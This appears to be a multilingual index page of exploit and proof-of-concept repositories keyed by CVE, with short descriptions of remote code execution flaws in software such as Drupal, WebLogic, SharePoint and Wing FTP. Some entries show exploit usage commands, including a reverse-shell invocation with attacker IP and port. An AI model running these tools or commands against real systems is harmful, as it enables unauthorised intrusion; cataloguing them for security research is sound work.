CVE-2024-28515

CVE-2024-28515 Descripción Vulnerabilidad de desbordamiento de búfer en CSAPPLab CSAPP Lab3 15-213 Fall 20xx permite a un atacante remoto ejecutar código arbitrario a través del componente lab3 de csapp,lab3/buflab-update.pl. Información adicional CNVD ha completado la verificación de esta...

CVE-2026-25512

CVE-2026-25512: Удалённое выполнение кода через внедрение команд в обработчике TNEF — Group-Office Вектор CVSS 4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H Содержание Краткое описание Затронутые версии Технические подробности Корневая причина Путь от источника к приёмнику...

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: CVE-2024-50050 供应链利用框架 非限制机密材料 - 仅限授权红队使用 1. 执行摘要（确定性分析） LlamaStack-RCE 是一个针对 Meta Llama Stack 中 CVE-2024-50050 关键远程代码执行（RCE）漏洞的高保真模拟与利用框架。该漏洞源于 Python 推理 API 中的不安全反序列化 ，具体是在 ZeroMQ 0MQ 传输层上使用 pickle 模块。...

exploit-CVE-2016-10034

PHPMailer 5.2.18 远程代码执行 PHPMailer 是全球最流行的传输类库，估计全球有900万用户。每天下载量持续显著。被许多开源项目使用：WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! 以及更多。 PHPMailer 在 5.2.18 版本之前存在一个可能导致远程代码执行（RCE）的漏洞。当 Sender 属性未设置时，isMail 传输方式中的 mailSend 函数可能允许远程攻击者向 mail 命令传递额外参数，并通过精心构造的 From 地址中的 "（反斜杠双引号）执行任意代码。 漏洞环境 要搭建测试用的漏洞环境，你需要安装...

CVE-2019-9202

CVE-2019-9202 Эксплойт удаленного выполнения кода Nagios IM 2.6: CSRF + SQLi + RCE + LPE -- удаленный root Описание Объединяя Cross-Site Request Forgery CSRF / обход авторизации CVE-2019-9203, можно использовать Union-based SQL injection CVE-2019-9204, Remote Code Execution RCE CVE-2019-9202 и...

CVE-2024-7954-RCE

Описание Плагин porteplume, используемый в SPIP до версий 4.30-alpha2, 4.2.13 и 4.1.16, уязвим для выполнения произвольного кода. Удаленный неаутентифицированный злоумышленник может выполнить произвольный PHP-код от имени пользователя SPIP, отправив специально сформированный HTTP-запрос. Эксплойт...

CVE-2023-26035

CVE-2023-26035에 대한 POC ZoneMinder 1.36.33 및 1.37.33 이전 버전에서 동작 취약점: 원격 코드 실행 RCE 사용법 root@kitploit: └─➜ python3 poc.py -h usage: poc.py -h --target TARGET --cmd CMD poc.py: error: the following arguments are required: --target, --cmd Curl 리버스 셸로 넘어가기 전에, 먼저 이걸 시도해 보세요. 응답이 오면 서비스가 취약한 것입니다. Rever...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons, версии до 1.13 до 1.13.10, от 2.0 до 2.0.5 и более старые неподдерживаемые версии, содержат уязвимость связывания свойств, вызванную неправильной нейтрализацией специальных элементов. Неаутентифицированный удаленный злоумышленник может передать специально...

CVE-2023-0297

CVE-2023-0297 Неаутентифицированное удалённое выполнение кода в PyLoad 0.5.0b3.dev31 ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот скрипт предназначен для аудита безопасности систем. Используйте этот скрипт только на своих системах или на системах, на эксплуатацию которых у вас есть письменное разрешение...

CVE-2025-53770

CVE-2025-53770 이 스캐너는 SharePoint 비인증 원격 코드 실행 취약점CVE-2025-53770로 지정됨을 위한 것입니다. 이 코드는 실제 환경에서 발견된 페이로드를 리버스 엔지니어링하여 작성되었습니다. 사용에 따른 책임은 본인에게 있으며, 이로 인해 발생하는 부정적인 영향에 대해 책임지지 않습니다. 작동 방식 SharePoint ToolBox 위젯에 마커를 주입하여 취약점을 악용하려고 시도합니다. SharePoint 서버 응답에서 이 무해한 마커가 발견되면 해당 호스트는 취약한 것으로 표시됩니다. 사용 방법...

CVE-2025-47812-PoC

CVE-2025-47812 — Wing FTP Server 원격 코드 실행 RCE 개요 필드| 값 ---|--- CVE| CVE-2025-47812 영향받는 버전| Wing FTP Server 7.4.4 유형| 인증 없는 원격 코드 실행 CVSS 점수| 10.0 치명적 수정 버전| Wing FTP Server 7.4.4 동작 원리 이 취약점은 /loginok.html 로그인 엔드포인트에 존재합니다. 서버는 username 필드의 널 바이트%00를 제대로 검증하지 못합니다. 이로 인해 공격자는 세션 파일에 임의의 Lua 코드 를...

CVE-2025-8110-Silentium-HTB

CVE-2025-8110 — Gogs RCE PoC Silentium / HackTheBox Отказ от ответственности: Этот инструмент предназначен строго для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, на которые у вас есть явное разрешение. Это модифицированная версия...

CVE-2021-22006

CVE-2021-22005 - VMWare vCenter Server 파일 업로드 RCE 분석 사용법 root@kitploit: ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b Author: r0cky...

CVE-2024-28397-RCE

CVE-2024-28397 RCE スクリプト デフォルトのリバースシェルペイロードとオプションのコマンド引数が許可されています エクスプロイトは js2py = v0.74 で動作します 必要条件 Python 3.x requests ライブラリ pip install requests Netcat リスナー リバースシェル用 使用例 リバースシェル: root@kitploit: python exploit.py 10.129.227.108 /runcode --localip 10.10.14.71 --localport 4444 カスタムコマンド:...

CVE-2021-21985_PoC

CVE-2021-21985 취약한 코드 CLASS/METHODs 사용 가능, PoC 목적의 작은 샘플: com.vmware.vsan.client.services.capability.VsanCapabilityProvider root@kitploit: ../snip getClusterCapabilityData getHostCapabilityData getHostsCapabilitiyData getIsDeduplicationSupported getIsEncryptionSupported...

CVE-2020-10673

Описание уязвимости Недавно лаборатория кибербезопасности AsiaInfo AsiaInfo Security Network Attack and Defense Lab отследила обновление класса черного списка JNDI-инъекций в jackson-databind. Если в проекте присутствует JAR-пакет этого класса и версия JDK удовлетворяет условиям для инъекции, то ...

CVE-2019-2725

CVE-2019-2725 WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 конструктор payload-ов и эксплойт Информация / Помощь root@kitploit: $ python3 weblogicexploit.py -h ======================================================================== | WebLogic...

CVE-2025-29602

CVE-2025-29602 - Межсайтовый скриптинг XSS с сохранением в FlatPress CMS 1.3.1 Описание Уязвимость межсайтового скриптинга XSS с сохранением существует в панели администратора Flatpress CMS 1.3.1. Злоумышленник с правами администратора может внедрить вредоносную JavaScript-нагрузку в систему,...

CVE-2025-14598

CVE-2025-14598 CVSS: 9.8 Удалённая SQL-инъекция без аутентификации, приводящая к удалённому выполнению кода. Краткое описание Уязвимость SQL-инъекции была выявлена в функции входа в BET e-Portal, программном решении, широко развернутом в учебных заведениях для управления информацией о студентах и...

CVE-2018-7600

Drupal 7 CVE-2018-7600 / SA-CORE-2018-002 Установите необходимые библиотеки с помощью: root@kitploit: pip install requests pip install bs4 root@kitploit: $ python3 drupa7-CVE-2018-7600.py -h ============================================================================= | DRUPAL 7 = 7.57 REMOTE COD...